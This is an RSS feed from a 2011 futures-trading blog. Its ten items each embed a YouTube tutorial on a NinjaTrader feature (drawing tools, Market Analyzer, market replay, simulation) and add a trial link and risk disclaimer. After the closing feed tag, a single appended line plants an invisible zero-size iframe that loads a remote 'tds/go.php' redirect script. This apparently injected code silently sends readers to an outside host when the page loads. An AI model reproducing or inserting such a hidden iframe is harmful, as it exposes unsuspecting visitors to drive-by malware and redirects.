<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
		xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd"
	xmlns:media="http://search.yahoo.com/mrss/"
>

<channel>
	<title>E-Mini S&#38;P Futures Strategies, Mini Dow, Mini Russell and Mini NASDAQ Trading</title>
	<atom:link href="http://blog.tradersplatform.com/feed" rel="self" type="application/rss+xml" />
	<link>http://blog.tradersplatform.com</link>
	<description>A discussion dedicated to independent traders of futures stock Indicies</description>
	<lastBuildDate>Tue, 03 Jan 2012 16:22:54 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3</generator>
	<copyright>Copyright &#xA9; E-Mini S&#38;P Futures Strategies, Mini Dow, Mini Russell and Mini NASDAQ Trading 2010 </copyright>
	<managingEditor>matt@optimusfutures.com (E-Mini S&#38;P Futures Strategies, Mini Dow, Mini Russell and Mini NASDAQ Trading)</managingEditor>
	<webMaster>matt@optimusfutures.com (E-Mini S&#38;P Futures Strategies, Mini Dow, Mini Russell and Mini NASDAQ Trading)</webMaster>
	<image>
		<url>http://blog.tradersplatform.com/wp-content/plugins/podpress/images/powered_by_podpress.jpg</url>
		<title>E-Mini S&amp;P Futures Strategies, Mini Dow, Mini Russell and Mini NASDAQ Trading</title>
		<link>http://blog.tradersplatform.com</link>
		<width>144</width>
		<height>144</height>
	</image>
	<itunes:subtitle></itunes:subtitle>
	<itunes:summary>A discussion dedicated to independent traders of futures stock Indicies</itunes:summary>
	<itunes:keywords></itunes:keywords>
	<itunes:category text="Society &#38; Culture" />
	<itunes:author>E-Mini S&#38;P Futures Strategies, Mini Dow, Mini Russell and Mini NASDAQ Trading</itunes:author>
	<itunes:owner>
		<itunes:name>E-Mini S&#38;P Futures Strategies, Mini Dow, Mini Russell and Mini NASDAQ Trading</itunes:name>
		<itunes:email>matt@optimusfutures.com</itunes:email>
	</itunes:owner>
	<itunes:block>no</itunes:block>
	<itunes:explicit>no</itunes:explicit>
	<itunes:image href="http://blog.tradersplatform.com/wp-content/plugins/podpress/images/powered_by_podpress_large.jpg" />
		<item>
		<title>Furures Trading Software Drawing Tools</title>
		<link>http://blog.tradersplatform.com/furures-trading-software-drawing-tools/205</link>
		<comments>http://blog.tradersplatform.com/furures-trading-software-drawing-tools/205#comments</comments>
		<pubDate>Sat, 12 Nov 2011 18:02:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[chart tools]]></category>
		<category><![CDATA[drawing tools]]></category>
		<category><![CDATA[low latency execution]]></category>
		<category><![CDATA[NinjaTrader]]></category>

		<guid isPermaLink="false">http://blog.tradersplatform.com/?p=205</guid>
		<description><![CDATA[An overview of the Drawing Tools available with the NinjaTrader&#8217;s futures trading platform&#8217;s advanced charting suite. Visit TradersPlatform for a 30 day trial of NinjaTrader with the Rithmic data feed: http://www.tradersplatform.com Trading futures and options involves substantial risk of loss and is not suitable for all investors. Past performance is not necessarily indicative of future [...]]]></description>
			<content:encoded><![CDATA[<p><iframe width="560" height="315" src="http://www.youtube.com/embed/KcNyxzp4Uk8?hd=1" frameborder="0" allowfullscreen></iframe><br />
An overview of the Drawing Tools available with the NinjaTrader&#8217;s futures trading platform&#8217;s advanced charting suite.</p>
<p><strong>Visit TradersPlatform for a 30 day trial of NinjaTrader with the Rithmic data feed:<br />
<a href="http://www.tradersplatform.com" title="Futures trading Software ">http://www.tradersplatform.com</a></strong></p>
<p><strong>Trading futures and options involves substantial risk of loss and is not suitable for all investors. Past performance is not necessarily indicative of future results</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.tradersplatform.com/furures-trading-software-drawing-tools/205/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Futures Trading Platforms Charts Types</title>
		<link>http://blog.tradersplatform.com/futures-trading-platforms-charts-types/203</link>
		<comments>http://blog.tradersplatform.com/futures-trading-platforms-charts-types/203#comments</comments>
		<pubDate>Sat, 12 Nov 2011 17:57:59 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[trading videos]]></category>

		<guid isPermaLink="false">http://blog.tradersplatform.com/?p=203</guid>
		<description><![CDATA[An overview of the many different Chart Types, that NinjaTrader futures trading platform offers. Visit TradersPlatform for a 30 day trial of NinjaTrader with the Rithmic data feed: http://www.tradersplatform.com Trading futures and options involves substantial risk of loss and is not suitable for all investors. Past performance is not necessarily indicative of future results]]></description>
			<content:encoded><![CDATA[<p><iframe width="560" height="315" src="http://www.youtube.com/embed/KHL_-T4wp1E?hd=1" frameborder="0" allowfullscreen></iframe>An overview of the many different Chart Types, that NinjaTrader <a href="http://www.tradersplatform.com" title="Futures trading Platform">futures trading platform</a> offers.</p>
<p>Visit TradersPlatform for a 30 day trial of NinjaTrader with the Rithmic data feed:<br />
<a href="http://www.tradersplatform.com" title="Futures Trading Software ">http://www.tradersplatform.com</a></p>
<p><strong>Trading futures and options involves substantial risk of loss and is not suitable for all investors. Past performance is not necessarily indicative of future results</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.tradersplatform.com/futures-trading-platforms-charts-types/203/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Trading Platforms Charting Tools for NinjaTrader</title>
		<link>http://blog.tradersplatform.com/trading-platforms-charting-tools-for-ninjatrader/201</link>
		<comments>http://blog.tradersplatform.com/trading-platforms-charting-tools-for-ninjatrader/201#comments</comments>
		<pubDate>Sat, 12 Nov 2011 17:50:04 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[chart tools]]></category>
		<category><![CDATA[NinjaTrader]]></category>

		<guid isPermaLink="false">http://blog.tradersplatform.com/?p=201</guid>
		<description><![CDATA[An overview of NinjaTrader charting tools. Visit TradersPlatform for a 30 day trial of NinjaTrader with the Rithmic data feed: http://www.tradersplatform.com Trading futures and options involves substantial risk of loss and is not suitable for all investors. Past performance is not necessarily indicative of future results]]></description>
			<content:encoded><![CDATA[<p><iframe width="560" height="315" src="http://www.youtube.com/embed/jWVv5FH_2Zk?hd=1" frameborder="0" allowfullscreen></iframe><br />
<strong>An overview of NinjaTrader charting tools.</strong></p>
<p>Visit TradersPlatform for a 30 day trial of NinjaTrader with the Rithmic data feed:<br />
<a href="http://www.tradersplatform.com" title="NinjaTrader Platform Demo ">http://www.tradersplatform.com</a></p>
<p><strong>Trading futures and options involves substantial risk of loss and is not suitable for all investors. Past performance is not necessarily indicative of future results</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.tradersplatform.com/trading-platforms-charting-tools-for-ninjatrader/201/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Market Analyzer Using NinjaTrader</title>
		<link>http://blog.tradersplatform.com/market-analyzer-using-ninjatrader/199</link>
		<comments>http://blog.tradersplatform.com/market-analyzer-using-ninjatrader/199#comments</comments>
		<pubDate>Sat, 12 Nov 2011 17:45:02 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[market analyzer]]></category>
		<category><![CDATA[NinjaTrader]]></category>

		<guid isPermaLink="false">http://blog.tradersplatform.com/?p=199</guid>
		<description><![CDATA[An overview of the Market Analyzer, a market overview tool provided by the NinjaTrader 7 futures trading platform. Visit TradersPlatform for a 30 day trial of NinjaTrader with the Rithmic data feed: http://www.tradersplatform.com Trading futures and options involves substantial risk of loss and is not suitable for all investors. Past performance is not necessarily indicative [...]]]></description>
			<content:encoded><![CDATA[<p><iframe width="560" height="315" src="http://www.youtube.com/embed/YVbRDKiuG9s?hd=1" frameborder="0" allowfullscreen></iframe></p>
<p><strong>An overview of the Market Analyzer, a market overview tool provided by the NinjaTrader 7 futures trading platform.</strong><br />
Visit TradersPlatform for a 30 day trial of NinjaTrader with the Rithmic data feed:<br />
<a href="http://www.tradersplatform.com" title="NinjaTrader Brokers ">http://www.tradersplatform.com</a> </p>
<p><strong>Trading futures and options involves substantial risk of loss and is not suitable for all investors. Past performance is not necessarily indicative of future results</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.tradersplatform.com/market-analyzer-using-ninjatrader/199/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Level 2 Time and Sales for Futures Trading Using NinjaTrader</title>
		<link>http://blog.tradersplatform.com/level-2-time-and-sales-for-futures-trading-using-ninjatrader/197</link>
		<comments>http://blog.tradersplatform.com/level-2-time-and-sales-for-futures-trading-using-ninjatrader/197#comments</comments>
		<pubDate>Sat, 12 Nov 2011 17:35:34 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[level 2 time and sales]]></category>
		<category><![CDATA[low latency execution]]></category>
		<category><![CDATA[NinjaTrader]]></category>

		<guid isPermaLink="false">http://blog.tradersplatform.com/?p=197</guid>
		<description><![CDATA[An overview of the lesser known analysis tools in NinjaTrader 7&#8242;s futures trading platform, including, Level II and Time and Sales. Trading futures and options involves substantial risk of loss and is not suitable for all investors. Past performance is not necessarily indicative of future results]]></description>
			<content:encoded><![CDATA[<p><iframe width="560" height="315" src="http://www.youtube.com/embed/au51t0UHRpY?hd=1" frameborder="0" allowfullscreen></iframe></p>
<p>An overview of the lesser known analysis tools in NinjaTrader 7&#8242;s futures trading platform, including, Level II and Time and Sales.</p>
<p><strong>Trading futures and options involves substantial risk of loss and is not suitable for all investors. Past performance is not necessarily indicative of future results</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.tradersplatform.com/level-2-time-and-sales-for-futures-trading-using-ninjatrader/197/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Trade Performance Functionality Using NinjaTrader</title>
		<link>http://blog.tradersplatform.com/trade-performance-functionality-using-ninjatrader/194</link>
		<comments>http://blog.tradersplatform.com/trade-performance-functionality-using-ninjatrader/194#comments</comments>
		<pubDate>Sat, 12 Nov 2011 06:59:01 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[chart tools]]></category>
		<category><![CDATA[Emini Indicies]]></category>
		<category><![CDATA[NinjaTrader]]></category>
		<category><![CDATA[trade perfoamnce]]></category>

		<guid isPermaLink="false">http://blog.tradersplatform.com/?p=194</guid>
		<description><![CDATA[An overview of the Trade Performance functionality of the NinjaTrader&#8217;s futures trading platform. Trading futures and options involves substantial risk of loss and is not suitable for all investors. Past performance is not necessarily indicative of future results]]></description>
			<content:encoded><![CDATA[<p><iframe width="560" height="315" src="http://www.youtube.com/embed/_d7Wz-5XgtU?hd=1" frameborder="0" allowfullscreen></iframe><br />
An overview of the Trade Performance functionality of the NinjaTrader&#8217;s futures trading platform.</p>
<p><strong>Trading futures and options involves substantial risk of loss and is not suitable for all investors. Past performance is not necessarily indicative of future results</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.tradersplatform.com/trade-performance-functionality-using-ninjatrader/194/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Trading Platforms Market Replay Functionality with NinjaTrader</title>
		<link>http://blog.tradersplatform.com/trading-platforms-market-replay-functionality-with-ninjatrader/192</link>
		<comments>http://blog.tradersplatform.com/trading-platforms-market-replay-functionality-with-ninjatrader/192#comments</comments>
		<pubDate>Sat, 12 Nov 2011 06:40:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[market replay]]></category>
		<category><![CDATA[NinjaTrader]]></category>

		<guid isPermaLink="false">http://blog.tradersplatform.com/?p=192</guid>
		<description><![CDATA[An overview of the Market Replay Connection in the NinjaTrader futures trading platform, that allows you to replay any day&#8217;s data that you&#8217;ve recorded, tick-by-tick, with a speed setting. Trading futures and options involves substantial risk of loss and is not suitable for all investors. Past performance is not necessarily indicative of future results]]></description>
			<content:encoded><![CDATA[<p><iframe width="560" height="315" src="http://www.youtube.com/embed/ciDBe9txrtQ?hd=1" frameborder="0" allowfullscreen></iframe></p>
<p>An overview of the Market Replay Connection in the NinjaTrader futures trading platform, that allows you to replay any day&#8217;s data that you&#8217;ve recorded, tick-by-tick, with a speed setting.</p>
<p><strong>Trading futures and options involves substantial risk of loss and is not suitable for all investors. Past performance is not necessarily indicative of future results</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.tradersplatform.com/trading-platforms-market-replay-functionality-with-ninjatrader/192/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>NinjaTrader DataBox Chart Tool</title>
		<link>http://blog.tradersplatform.com/ninjatrader-databox-chart-tool/188</link>
		<comments>http://blog.tradersplatform.com/ninjatrader-databox-chart-tool/188#comments</comments>
		<pubDate>Sat, 12 Nov 2011 06:25:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[chart tools]]></category>
		<category><![CDATA[NinjaTrader]]></category>

		<guid isPermaLink="false">http://blog.tradersplatform.com/?p=188</guid>
		<description><![CDATA[An overview of the Data Box, an invaluable chart tool in NinjaTrader&#8217;s futures trading platform. Trading futures and options involves substantial risk of loss and is not suitable for all investors. Past performance is not necessarily indicative of future results]]></description>
			<content:encoded><![CDATA[<p><iframe width="560" height="315" src="http://www.youtube.com/embed/ds59HJ0HWaI?hd=1" frameborder="0" allowfullscreen></iframe></p>
<p>An overview of the Data Box, an invaluable chart tool in NinjaTrader&#8217;s futures trading platform.</p>
<p><strong>Trading futures and options involves substantial risk of loss and is not suitable for all investors. Past performance is not necessarily indicative of future results</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.tradersplatform.com/ninjatrader-databox-chart-tool/188/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Using Simulated Data Feed Testing Strategies with NinjaTrader</title>
		<link>http://blog.tradersplatform.com/using-simulated-data-feed-testing-strategies-with-ninjatrader/184</link>
		<comments>http://blog.tradersplatform.com/using-simulated-data-feed-testing-strategies-with-ninjatrader/184#comments</comments>
		<pubDate>Sat, 12 Nov 2011 06:21:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[NinjaTrader]]></category>
		<category><![CDATA[paper trading]]></category>
		<category><![CDATA[sim trading]]></category>
		<category><![CDATA[data feed]]></category>

		<guid isPermaLink="false">http://blog.tradersplatform.com/?p=184</guid>
		<description><![CDATA[An overview of the Simulated Data Feed with Trend Control provided by NinjaTrader futures trading platform. Trading futures and options involves substantial risk of loss and is not suitable for all investors. Past performance is not necessarily indicative of future results]]></description>
			<content:encoded><![CDATA[<p><iframe width="560" height="315" src="http://www.youtube.com/embed/CT1j1WcX9sE?hd=1" frameborder="0" allowfullscreen></iframe><br />
An overview of the Simulated Data Feed with Trend Control provided by NinjaTrader futures trading platform.</p>
<p><strong>Trading futures and options involves substantial risk of loss and is not suitable for all investors. Past performance is not necessarily indicative of future results</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.tradersplatform.com/using-simulated-data-feed-testing-strategies-with-ninjatrader/184/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Real Time Trading Simulation Engine using NinjaTrader</title>
		<link>http://blog.tradersplatform.com/real-time-trading-simulation-engine-using-ninjatrader/182</link>
		<comments>http://blog.tradersplatform.com/real-time-trading-simulation-engine-using-ninjatrader/182#comments</comments>
		<pubDate>Sat, 12 Nov 2011 06:09:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Emini Indicies]]></category>
		<category><![CDATA[low latency execution]]></category>
		<category><![CDATA[NinjaTrader]]></category>
		<category><![CDATA[paper trading]]></category>
		<category><![CDATA[sim trading]]></category>
		<category><![CDATA[Technical Analysis for E Mini Indicies]]></category>
		<category><![CDATA[unfiltered data]]></category>

		<guid isPermaLink="false">http://blog.tradersplatform.com/?p=182</guid>
		<description><![CDATA[When doing sim trading in futures you want to come as close was possible to real time trading. Watch how it is done with NinjaTrader. Trading futures and options involves substantial risk of loss and is not suitable for all investors. Past performance is not necessarily indicative of future results]]></description>
			<content:encoded><![CDATA[<p><iframe width="560" height="315" src="http://www.youtube.com/embed/67ejGReBAzU?hd=1" frameborder="0" allowfullscreen></iframe></p>
<p>When doing sim trading in futures you want to come as close was possible to real time trading. Watch how it is done with NinjaTrader.</p>
<p><strong>Trading futures and options involves substantial risk of loss and is not suitable for all investors. Past performance is not necessarily indicative of future results</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.tradersplatform.com/real-time-trading-simulation-engine-using-ninjatrader/182/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
